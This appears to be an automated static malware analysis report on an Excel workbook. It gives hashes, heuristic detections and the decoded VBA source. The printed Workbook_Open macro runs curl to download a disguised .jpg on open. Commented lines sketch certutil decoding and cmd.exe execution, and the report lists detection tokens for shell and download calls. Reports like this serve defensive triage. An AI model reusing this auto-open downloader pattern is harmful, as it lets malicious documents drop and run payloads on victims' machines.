Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f128df9fc35329d8…

MALICIOUS

Office (OOXML)

52.8 KB Created: 2020-10-14 14:35:30 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-12
MD5: 7a9c3d49f13192f688afb127906669e3 SHA-1: 2c028cd3031d1445068df5e3dba8178d748a835e SHA-256: f128df9fc35329d85a2ed08a3ef170c366a388375db806559c775aeaa35247f1
140 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "curl http://localhost/cplusconsole.jpg -o cplusconsole123.jpg"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: http://localhost/cplusconsole.jpg
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://localhost/cplusconsole.jpg Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1408 bytes
SHA-256: 50c3271d3d9716a0728b10147ae40af3ec74eda4af3fba20b22a90e3eb936d4d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "book1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

Shell "curl http://localhost/cplusconsole.jpg -o cplusconsole123.jpg"

'Set fs = CreateObject("Scripting.FileSystemObject")
'Set a = fs.CreateTextFile("cplusconsole111.jpg", True)
'a.WriteLine str
'a.Close
'Shell "cmd.exe /c certutil -decode cplusconsole.txt cplusconsole3.jpg"
'Do While True
'    If Dir("cplusconsole3.jpg") <> "" Then
'        MsgBox "file exists"
'        Shell "cmd.exe /c start cplusconsole.jpg"
'        Exit Do
'    End If
'Loop
End Sub

Attribute VB_Name = "list1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 159232 bytes
SHA-256: 36ea5cc95722520c0d4122405d2a58a8ef4f8e059c8c7ca414b8644bfbed2a5d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 127 long base64-like blob(s).

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